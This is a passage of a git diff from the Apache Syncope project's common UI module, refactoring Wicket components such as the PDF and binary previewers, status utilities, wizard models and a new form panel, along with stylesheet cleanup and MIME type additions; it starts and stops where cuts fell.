@Override public Component preview(final byte[] uploadedBytes) { firstPage = null; - try (InputStream bais = new ByteArrayInputStream(uploadedBytes); - PDDocument document = Loader.loadPDF(bais, MemoryUsageSetting.setupTempFileOnly())) { - + try (PDDocument document = Loader.loadPDF(uploadedBytes)) { document.setResourceCache(new DefaultResourceCache() { @Override - public void put(final COSObject indirect, final PDXObject xobject) throws IOException { + public void put(final COSObject indirect, final PDXObject xobject) { + // no cache } - }); if (document.isEncrypted()) { LOG.info("Document is encrypted, no preview is possible"); @@ -96,15 +91,15 @@ public void put(final COSObject indirect, final PDXObject xobject) throws IOExce return this.addOrReplace(previewContainer); } - private static class ThumbnailImageResource extends DynamicImageResource implements Serializable { + protected static class ThumbnailImageResource extends DynamicImageResource implements Serializable { private static final long serialVersionUID = 923201517955737928L; - private final transient BufferedImage image; + protected final transient BufferedImage image; - private transient byte[] thumbnail; + protected transient byte[] thumbnail; - ThumbnailImageResource(final BufferedImage image) { + protected ThumbnailImageResource(final BufferedImage image) { this.image = image; } @@ -117,7 +112,7 @@ protected byte[] getImageData(final IResource.Attributes attributes) { return thumbnail; } - private BufferedImage getScaledImageInstance() { + protected BufferedImage getScaledImageInstance() { int originalWidth = image.getWidth(); int originalHeight = image.getHeight(); diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPreviewer.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPreviewer.java index 29f79f93955..43ccb6ff80e 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPreviewer.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryPreviewer.java @@ -32,8 +32,8 @@ public abstract class BinaryPreviewer extends Panel { protected final String mimeType; - public BinaryPreviewer(final String id, final String mimeType) { - super(id); + public BinaryPreviewer(final String mimeType) { + super("previewer"); this.mimeType = mimeType; } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryTextPreviewer.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryTextPreviewer.java index c424bca98e7..dead868a632 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryTextPreviewer.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/BinaryTextPreviewer.java @@ -41,13 +41,12 @@ public class BinaryTextPreviewer extends BinaryPreviewer { private String previewerId; - public BinaryTextPreviewer(final String id, final String mimeType) { - super(id, mimeType); + public BinaryTextPreviewer(final String mimeType) { + super(mimeType); } @Override public Component preview(final byte[] uploadedBytes) { - Fragment fragment = new Fragment("preview", "noPreviewFragment", this); if (uploadedBytes.length > 0) { try { diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/DefaultPreviewer.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/DefaultPreviewer.java index bf7e13bd3b6..698e8f73204 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/DefaultPreviewer.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/preview/DefaultPreviewer.java @@ -26,8 +26,8 @@ public class DefaultPreviewer extends BinaryPreviewer { private static final long serialVersionUID = 3338812359368457349L; - public DefaultPreviewer(final String id, final String mimeType) { - super(id, mimeType); + public DefaultPreviewer(final String mimeType) { + super(mimeType); } @Override diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/BaseSSOLoginFormPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/BaseSSOLoginFormPanel.java index 9675eb7bab4..4e9117387f7 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/BaseSSOLoginFormPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/BaseSSOLoginFormPanel.java @@ -24,7 +24,13 @@ public abstract class BaseSSOLoginFormPanel extends Panel { private static final long serialVersionUID = -2371733568360773586L; + protected boolean reauth; + public BaseSSOLoginFormPanel(final String id) { super(id); } + + public void setReauth(final boolean reauth) { + this.reauth = reauth; + } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/SyncopeFormPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/SyncopeFormPanel.java new file mode 100644 index 00000000000..134a03c73c1 --- /dev/null +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/SyncopeFormPanel.java @@ -0,0 +1,229 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.ui.commons.panels; + +import java.text.ParseException; +import java.util.ArrayList; +import java.util.Date; +import java.util.List; +import java.util.Optional; +import java.util.stream.Collectors; +import org.apache.commons.lang3.BooleanUtils; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.math.NumberUtils; +import org.apache.commons.lang3.time.FastDateFormat; +import org.apache.syncope.client.ui.commons.MapChoiceRenderer; +import org.apache.syncope.client.ui.commons.markup.html.form.AbstractFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDateFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDateTimeFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPalettePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPasswordFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; +import org.apache.syncope.common.lib.form.FormProperty; +import org.apache.syncope.common.lib.form.FormPropertyValue; +import org.apache.syncope.common.lib.form.SyncopeForm; +import org.apache.wicket.markup.html.list.ListItem; +import org.apache.wicket.markup.html.list.ListView; +import org.apache.wicket.markup.html.panel.Panel; +import org.apache.wicket.model.IModel; +import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.validation.validator.PatternValidator; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class SyncopeFormPanel extends Panel { + + private static final long serialVersionUID = -8847854414429745216L; + + protected static final Logger LOG = LoggerFactory.getLogger(SyncopeFormPanel.class); + + public SyncopeFormPanel(final String id, final F form) { + super(id); + + ListModel model = new ListModel<>(new ArrayList<>()); + model.getObject().addAll(form.getProperties()); + + ListView propView = new ListView<>("propView", model) { + + private static final long serialVersionUID = 9101744072914090143L; + + @Override + protected void populateItem(final ListItem item) { + FormProperty prop = item.getModelObject(); + + String label = StringUtils.isBlank(prop.getName()) ? prop.getId() : prop.getName(); + + AbstractFieldPanel field; + switch (prop.getType()) { + case Boolean: + field = new AjaxCheckBoxPanel("value", label, new PropertyModel(prop, "value") { + + private static final long serialVersionUID = -3743432456095828573L; + + @Override + public Boolean getObject() { + return BooleanUtils.toBoolean(prop.getValue()); + } + + @Override + public void setObject(final Boolean object) { + prop.setValue(BooleanUtils.toStringTrueFalse(object)); + } + }, false); + break; + + case Date: + FastDateFormat formatter = StringUtils.isBlank(prop.getDatePattern()) + ? FastDateFormat.getInstance() + : FastDateFormat.getInstance(prop.getDatePattern()); + + PropertyModel dateModel = new PropertyModel<>(prop, "value") { + + private static final long serialVersionUID = -3743432456095828573L; + + @Override + public Date getObject() { + try { + return StringUtils.isBlank(prop.getValue()) + ? null + : formatter.parse(prop.getValue()); + } catch (ParseException e) { + LOG.error("Unparsable date: {}", prop.getValue(), e); + return null; + } + } + + @Override + public void setObject(final Date object) { + Optional.ofNullable(object).ifPresent(date -> prop.setValue(formatter.format(date))); + } + }; + + if (StringUtils.containsIgnoreCase(prop.getDatePattern(), "H")) { + field = new AjaxDateTimeFieldPanel("value", label, dateModel, formatter); + } else { + field = new AjaxDateFieldPanel("value", label, dateModel, formatter); + } + break; + + case Enum: + field = new AjaxDropDownChoicePanel<>( + "value", label, new PropertyModel(prop, "value"), false). + setChoiceRenderer(new MapChoiceRenderer(prop.getEnumValues().stream(). + collect(Collectors.toMap( + FormPropertyValue::getKey, + FormPropertyValue::getValue)))). + setChoices(prop.getEnumValues().stream(). + map(FormPropertyValue::getKey).collect(Collectors.toList())); + break; + + case Dropdown: + if (prop.isDropdownFreeForm()) { + field = new AjaxTextFieldPanel("value", label, new PropertyModel<>(prop, "value"), false); + ((AjaxTextFieldPanel) field).setChoices(prop.getDropdownValues().stream(). + map(FormPropertyValue::getKey).collect(Collectors.toList())); + } else if (prop.isDropdownSingleSelection()) { + field = new AjaxDropDownChoicePanel<>( + "value", label, new PropertyModel(prop, "value"), false). + setChoiceRenderer(new MapChoiceRenderer(prop.getDropdownValues().stream(). + collect(Collectors.toMap( + FormPropertyValue::getKey, + FormPropertyValue::getValue)))). + setChoices(prop.getDropdownValues().stream(). + map(FormPropertyValue::getKey).collect(Collectors.toList())); + } else { + field = new AjaxPalettePanel.Builder().setName(label). + setRenderer(new MapChoiceRenderer(prop.getDropdownValues().stream(). + collect(Collectors.toMap( + FormPropertyValue::getKey, + FormPropertyValue::getValue)))).build( + "value", + new IModel>() { + + private static final long serialVersionUID = 1015030402166681242L; + + @Override + public List getObject() { + return Optional.ofNullable(prop.getValue()). + map(v -> List.of(v.split(";"))). + orElse(List.of()); + } + + @Override + public void setObject(final List object) { + prop.setValue(Optional.ofNullable(object). + map(v -> v.stream().collect(Collectors.joining(";"))). + orElse(null)); + } + }, new ListModel<>(prop.getDropdownValues().stream(). + map(FormPropertyValue::getKey).collect(Collectors.toList()))); + } + break; + + case Long: + field = new AjaxNumberFieldPanel.Builder().build( + "value", + label, + Long.class, + new PropertyModel<>(prop, "value") { + + private static final long serialVersionUID = -7688359318035249200L; + + @Override + public Long getObject() { + return StringUtils.isBlank(prop.getValue()) + ? null + : NumberUtils.toLong(prop.getValue()); + } + + @Override + public void setObject(final Long object) { + prop.setValue(String.valueOf(object)); + } + }); + break; + + case Password: + field = new AjaxPasswordFieldPanel("value", label, new PropertyModel<>(prop, "value"), false). + setResetPassword(false); + break; + + case String: + default: + field = new AjaxTextFieldPanel("value", label, new PropertyModel<>(prop, "value"), false); + Optional.ofNullable(prop.getStringRegEx()). + ifPresent(re -> ((AjaxTextFieldPanel) field).addValidator(new PatternValidator(re))); + break; + } + + field.setReadOnly(!prop.isWritable()); + if (prop.isRequired()) { + field.addRequiredLabel(); + } + + item.add(field); + } + }; + add(propView.setReuseItems(true)); + } +} diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/ConnObjectWrapper.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/ConnObjectWrapper.java index c5b8be70b35..3098b0fc270 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/ConnObjectWrapper.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/ConnObjectWrapper.java @@ -49,5 +49,4 @@ public String getResource() { public ConnObject getConnObjectTO() { return connObjectTO; } - } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/StatusUtils.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/StatusUtils.java index e6e73fab0d6..70d2930942e 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/StatusUtils.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/status/StatusUtils.java @@ -25,12 +25,12 @@ import org.apache.syncope.client.ui.commons.ConnIdSpecialName; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.panels.LabelPanel; -import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.request.StatusR; import org.apache.syncope.common.lib.to.AnyTO; import org.apache.syncope.common.lib.to.ConnObject; import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.common.lib.types.ExecStatus; +import org.apache.syncope.common.lib.types.StatusRType; import org.apache.wicket.markup.ComponentTag; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.markup.html.panel.Panel; @@ -42,18 +42,18 @@ public final class StatusUtils implements Serializable { public static StatusBean getStatusBean( final AnyTO anyTO, final String resource, - final ConnObject connObjectTO, + final ConnObject connObject, final boolean notUser) { StatusBean statusBean = new StatusBean(anyTO, resource); - if (connObjectTO != null) { - Boolean enabled = isEnabled(connObjectTO); + if (connObject != null) { + Boolean enabled = isEnabled(connObject); statusBean.setStatus(Optional.ofNullable(enabled).map(aBoolean -> aBoolean ? Status.ACTIVE : Status.SUSPENDED).orElseGet(() -> (notUser ? Status.ACTIVE : Status.UNDEFINED))); - statusBean.setConnObjectLink(getConnObjectLink(connObjectTO)); + statusBean.setConnObjectLink(getConnObjectLink(connObject)); } return statusBean; @@ -62,38 +62,37 @@ public static StatusBean getStatusBean( public static StatusBean getStatusBean( final RealmTO realmTO, final String resource, - final ConnObject connObjectTO) { + final ConnObject connObject) { StatusBean statusBean = new StatusBean(realmTO, resource); - if (connObjectTO != null) { - Boolean enabled = isEnabled(connObjectTO); + if (connObject != null) { + Boolean enabled = isEnabled(connObject); statusBean.setStatus(Optional.ofNullable(enabled) .filter(aBoolean -> !aBoolean).map(aBoolean -> Status.SUSPENDED).orElse(Status.ACTIVE)); - statusBean.setConnObjectLink(getConnObjectLink(connObjectTO)); + statusBean.setConnObjectLink(getConnObjectLink(connObject)); } return statusBean; } - public static Boolean isEnabled(final ConnObject objectTO) { - Optional status = objectTO.getAttr(ConnIdSpecialName.ENABLE); - return status.isPresent() && status.get().getValues() != null && !status.get().getValues().isEmpty() - ? Boolean.valueOf(status.get().getValues().get(0)) - : Boolean.FALSE; + public static Boolean isEnabled(final ConnObject connObject) { + return connObject.getAttr(ConnIdSpecialName.ENABLE). + filter(s -> !s.getValues().isEmpty()). + map(s -> Boolean.valueOf(s.getValues().get(0))). + orElse(Boolean.FALSE); } - private static String getConnObjectLink(final ConnObject objectTO) { - Optional name = Optional.ofNullable(objectTO).map(to -> to.getAttr(ConnIdSpecialName.NAME)).orElse(null); - return name != null && name.isPresent() && name.get().getValues() != null && !name.get().getValues().isEmpty() - ? name.get().getValues().get(0) - : null; + public static String getConnObjectLink(final ConnObject connObject) { + return connObject.getAttr(ConnIdSpecialName.NAME). + filter(s -> !s.getValues().isEmpty()). + map(s -> s.getValues().get(0)). + orElse(null); } - public static StatusR.Builder statusR(final Collection statuses) { - StatusR.Builder builder = new StatusR.Builder(); - builder.onSyncope(false); + public static StatusR statusR(final String key, final StatusRType type, final Collection statuses) { + StatusR.Builder builder = new StatusR.Builder(key, type).onSyncope(false); statuses.forEach(status -> { if (Constants.SYNCOPE.equalsIgnoreCase(status.getResource())) { builder.onSyncope(true); @@ -102,7 +101,7 @@ public static StatusR.Builder statusR(final Collection statuses) { } }); - return builder; + return builder.build(); } public static Panel getStatusImagePanel(final String componentId, final Status status) { @@ -207,7 +206,7 @@ public static Panel getWarningStatusPanel(final String componentId) { return new LabelPanel(componentId, getLabel("label", "warning icon", "Propagation failed", Constants.WARNING_ICON)); } - + public static Label getLabel(final String componentId, final String alt, final String title, final String clazz) { return new Label(componentId, StringUtils.EMPTY) { diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AbstractWizardMgtPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AbstractWizardMgtPanel.java index 7ed5447020e..4444f498522 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AbstractWizardMgtPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AbstractWizardMgtPanel.java @@ -31,5 +31,4 @@ public abstract class AbstractWizardMgtPanel extends Pan public AbstractWizardMgtPanel(final String id) { super(id); } - } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AjaxWizard.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AjaxWizard.java index 5011e9d412b..c4d95375ae8 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AjaxWizard.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/AjaxWizard.java @@ -281,7 +281,7 @@ public abstract static class NewItemEvent { private final T item; - private IModel resourceModel; + private IModel titleModel; private final AjaxRequestTarget target; @@ -309,12 +309,12 @@ public NewItemEvent forceModalPanel(final WizardModalPanel modalPanel) { return this; } - public IModel getResourceModel() { - return resourceModel; + public IModel getTitleModel() { + return titleModel; } - public NewItemEvent setResourceModel(final IModel resourceModel) { - this.resourceModel = resourceModel; + public NewItemEvent setTitleModel(final IModel titleModel) { + this.titleModel = titleModel; return this; } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractGroupsModel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractGroupsModel.java index 66d799f4c7e..7264856b087 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractGroupsModel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractGroupsModel.java @@ -31,38 +31,30 @@ public abstract class AbstractGroupsModel extends ListModel { protected List memberships; - protected String realm; + /** + * Retrieve the first MAX_GROUP_LIST_CARDINALITY assignable. + */ + protected abstract void reloadObject(); @Override public List getObject() { - reload(); + if (groups == null) { + reloadObject(); + } return groups; } /** - * Retrieve the first MAX_GROUP_LIST_CARDINALITY assignable. + * Retrieve group memberships. */ - protected abstract void reloadObject(); + protected abstract void reloadMemberships(); public List getMemberships() { - reload(); + if (memberships == null) { + reloadMemberships(); + } return memberships; } - /** - * Retrieve group memberships. - */ - protected abstract void reloadMemberships(); - public abstract List getDynMemberships(); - - /** - * Retrieve dyn group memberships. - */ - protected abstract void reloadDynMemberships(); - - /** - * Reload data if the realm changes (see SYNCOPE-1135). - */ - protected abstract void reload(); } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractResources.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractResources.java index 47c265f335d..0d141dd2ee9 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractResources.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AbstractResources.java @@ -34,10 +34,12 @@ public abstract class AbstractResources extends WizardStep implements ICondition private static final long serialVersionUID = 552437609667518888L; + protected final AnyTO anyTO; + protected final ListModel available; public AbstractResources(final AnyWrapper modelObject) { - final T entityTO = modelObject.getInnerObject(); + anyTO = modelObject.getInnerObject(); if (modelObject instanceof UserWrapper && UserWrapper.class.cast(modelObject).getPreviousUserTO() != null @@ -52,21 +54,20 @@ public AbstractResources(final AnyWrapper modelObject) { this.setOutputMarkupId(true); this.available = new ListModel<>(List.of()); - add(new AjaxPalettePanel.Builder().build("resources", - new PropertyModel<>(entityTO, "resources") { + add(new AjaxPalettePanel.Builder().build("resources", new PropertyModel<>(anyTO, "resources") { - private static final long serialVersionUID = 3799387950428254072L; + private static final long serialVersionUID = 3799387950428254072L; - @Override - public List getObject() { - return new ArrayList<>(entityTO.getResources()); - } + @Override + public List getObject() { + return new ArrayList<>(anyTO.getResources()); + } - @Override - public void setObject(final List object) { - entityTO.getResources().clear(); - entityTO.getResources().addAll(object); - } - }, available).hideLabel().setOutputMarkupId(true)); + @Override + public void setObject(final List object) { + anyTO.getResources().clear(); + anyTO.getResources().addAll(object); + } + }, available).hideLabel().setOutputMarkupId(true)); } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AnyWrapper.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AnyWrapper.java index 482b4975e12..6fec895f0a4 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AnyWrapper.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/AnyWrapper.java @@ -21,7 +21,7 @@ import java.io.Serializable; import org.apache.syncope.common.lib.to.AnyTO; -public class AnyWrapper implements Serializable { +public abstract class AnyWrapper implements Serializable { private static final long serialVersionUID = 8058288034211558375L; diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/EntityWrapper.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/EntityWrapper.java index 67640498445..95bcd6523b0 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/EntityWrapper.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/EntityWrapper.java @@ -18,9 +18,12 @@ */ package org.apache.syncope.client.ui.commons.wizards.any; +import java.io.Serializable; import org.apache.syncope.common.lib.to.EntityTO; -public class EntityWrapper { +public class EntityWrapper implements Serializable { + + private static final long serialVersionUID = 1L; protected final T entityTO; @@ -31,5 +34,4 @@ public EntityWrapper(final T entityTO) { public T getInnerObject() { return entityTO; } - } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/PasswordPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/PasswordPanel.java index 09fecc67f97..214c64ff921 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/PasswordPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/wizards/any/PasswordPanel.java @@ -57,7 +57,7 @@ public PasswordPanel( add(form); AjaxPasswordFieldPanel confirmPasswordField = new AjaxPasswordFieldPanel( - "confirmPassword", "confirmPassword", new Model<>(), false, null); + "confirmPassword", "confirmPassword", Model.of(), false); ((PasswordTextField) confirmPasswordField.getField()).setResetPassword(false); form.add(confirmPasswordField.setPlaceholder("confirmPassword").setMarkupId("confirmPassword")); diff --git a/client/idrepo/common-ui/src/main/resources/META-INF/resources/ui-commons/css/syncopeUI.scss b/client/idrepo/common-ui/src/main/resources/META-INF/resources/ui-commons/css/syncopeUI.scss index e0bf1f48a52..edc3ccd5adb 100644 --- a/client/idrepo/common-ui/src/main/resources/META-INF/resources/ui-commons/css/syncopeUI.scss +++ b/client/idrepo/common-ui/src/main/resources/META-INF/resources/ui-commons/css/syncopeUI.scss @@ -19,12 +19,10 @@ @import 'utils'; - pre { @include white_space_pre_wrap; } - #veil { display: none; position: fixed; @@ -66,22 +64,18 @@ pre { border-radius: 0.5em; @include animation(spinner 2000ms infinite linear); - @include shadow(rgba(0, 0, 0, 0.75) 1.5em 0 0 0, - rgba(0, 0, 0, 0.75) 1.1em 1.1em 0 0, - rgba(0, 0, 0, 0.75) 0 1.5em 0 0, - rgba(0, 0, 0, 0.75) -1.1em 1.1em 0 0, - rgba(0, 0, 0, 0.5) -1.5em 0 0 0, - rgba(0, 0, 0, 0.5) -1.1em -1.1em 0 0, - rgba(0, 0, 0, 0.75) 0 -1.5em 0 0, + @include shadow(rgba(0, 0, 0, 0.75) 1.5em 0 0 0, + rgba(0, 0, 0, 0.75) 1.1em 1.1em 0 0, + rgba(0, 0, 0, 0.75) 0 1.5em 0 0, + rgba(0, 0, 0, 0.75) -1.1em 1.1em 0 0, + rgba(0, 0, 0, 0.5) -1.5em 0 0 0, + rgba(0, 0, 0, 0.5) -1.1em -1.1em 0 0, + rgba(0, 0, 0, 0.75) 0 -1.5em 0 0, rgba(0, 0, 0, 0.75) 1.1em -1.1em 0 0); } } } - - - - /* General ============================================================================= */ @@ -114,8 +108,8 @@ pre { } .realm-header { + width: 100%; clear: both; - display: block; display: inline-table; margin: 0 0 10px; line-height: 25px; @@ -130,8 +124,7 @@ pre { } .realm-choice { - right: 0px; - position: absolute; + float: right; } .realm-header .dropdown-menu li a { @@ -320,7 +313,6 @@ a.help { } } - .wizard-buttons { padding: 10px 0px 5px 0px; position: absolute; @@ -374,7 +366,7 @@ span.overridable div.checkbox { } } -#outer.modal-lg, +#outer.modal-lg, #utilityModal.modal-lg { max-width: 1200px; width: 97%; @@ -416,7 +408,11 @@ td.checkGroupColumn { color: #fff!important; } - +.pwstrengthProgress { + position: absolute; + bottom: 0px; + width: 100%; +} /* Style for Information panel ============================================================================= */ @@ -461,7 +457,6 @@ td.checkGroupColumn { margin-left: 155px; } - #ownership div.toggle { width: 110px !important; } @@ -513,9 +508,6 @@ td.checkGroupColumn { padding-left: 15px; } - - - /* Startat ============================================================================= */ @@ -541,10 +533,6 @@ td.checkGroupColumn { } } - - - - /* Notifications ============================================================================= */ /*Temporany fix diagonal stacking*/ @@ -599,11 +587,6 @@ td.checkGroupColumn { } } - - - - - /* Actions ============================================================================= */ @@ -666,12 +649,6 @@ div.listview-actions a { margin: 0px; } - - - - - - /* Datatable ============================================================================= */ @@ -778,6 +755,12 @@ div.panel-collapse.collapse.show span.ui-spinner.ui-corner-all.ui-widget.ui-widg top: 5px !important; } +.k-datepicker input { + width: 0px !important; +} +.k-timepicker input { + width: 0px !important; +} /* Parameters Details ============================================================================= */ @@ -786,8 +769,6 @@ div#parametersForm { min-height: 220px; } - - li.todoitem a { cursor: default; } @@ -843,11 +824,6 @@ div#userFilter { width: 20px; } - - - - - /* Alert widget onside menu ============================================================================= */ @@ -898,10 +874,6 @@ div#userFilter { } } - - - - /* Transformers toggle panel ============================================================================= */ @@ -965,9 +937,6 @@ div#userFilter { clear: both; } - - - /* Events ============================================================================= */ @@ -1006,9 +975,6 @@ div#userFilter { min-width: 585px; } - - - /* Others ============================================================================= */ .form-check { @@ -1072,8 +1038,8 @@ th ul.menu { padding: 0; } -#inline-actions ul.menu, -#tablehandling ul.menu, +#inline-actions ul.menu, +#tablehandling ul.menu, .listview-actions ul.menu { list-style-type: none; margin: 0; @@ -1088,7 +1054,7 @@ th ul.menu li { } #inline-actions ul.menu li, -#tablehandling ul.menu li, +#tablehandling ul.menu li, .listview-actions ul.menu li { display: inline-block; } @@ -1098,8 +1064,8 @@ th ul.menu li a { display: inline-block !important; } -#inline-actions ul.menu li a, -.listview-actions ul.menu li a, +#inline-actions ul.menu li a, +.listview-actions ul.menu li a, #tablehandling ul.menu li a { margin-left: 5px; display: inline-block !important; @@ -1115,7 +1081,7 @@ ul.menu { } } -#inline-actions ul.menu i, +#inline-actions ul.menu i, #tablehandling ul.menu i { width: auto !important; } @@ -1131,7 +1097,7 @@ div#tablehandling ul.menu li a { } .realm-choice #realm-choice-field { - width: 200px; + width: 400px; padding-right: 20px; } @@ -1164,9 +1130,6 @@ h3.card-title { @include shadow(0px 0px 20px 1px rgba(0,0,0,0.75)); } - - - /* Utility classes ============================================================================= */ @@ -1238,3 +1201,12 @@ pre { float: right; margin-right:12px; } + +@media screen and (max-width: 500px) { + .realm-choice #realm-choice-field{ + width: 100%; + } + .realm-choice { + float: none; + } +} diff --git a/client/idrepo/common-ui/src/main/resources/MIMETypes.json b/client/idrepo/common-ui/src/main/resources/MIMETypes.json index f49a5a1150a..e7e36820f0c 100644 --- a/client/idrepo/common-ui/src/main/resources/MIMETypes.json +++ b/client/idrepo/common-ui/src/main/resources/MIMETypes.json @@ -139,7 +139,8 @@ "name": "application/oda" }, { - "name": "application/pdf" + "name": "application/pdf", + "extension": "pdf" }, { "name": "application/pkcs10" @@ -1025,6 +1026,10 @@ "name": "text/javascript", "extension": "js" }, + { + "name": "text/csv", + "extension": "csv" + }, { "name": "text/mcf" }, diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxSpinnerFieldPanel.html b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxNumberFieldPanel.html similarity index 95% rename from client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxSpinnerFieldPanel.html rename to client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxNumberFieldPanel.html index 3587e3f9971..aecb9b4268e 100644 --- a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxSpinnerFieldPanel.html +++ b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxNumberFieldPanel.html @@ -23,6 +23,6 @@ - + diff --git a/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.html b/client/idrepo/common-ui/src/main/resources/org/apache/syncope/client/ui/commons/markup/html/form/AjaxPasswordFieldPanel.html index 30329ae9176..4de436c3446 100644 --- 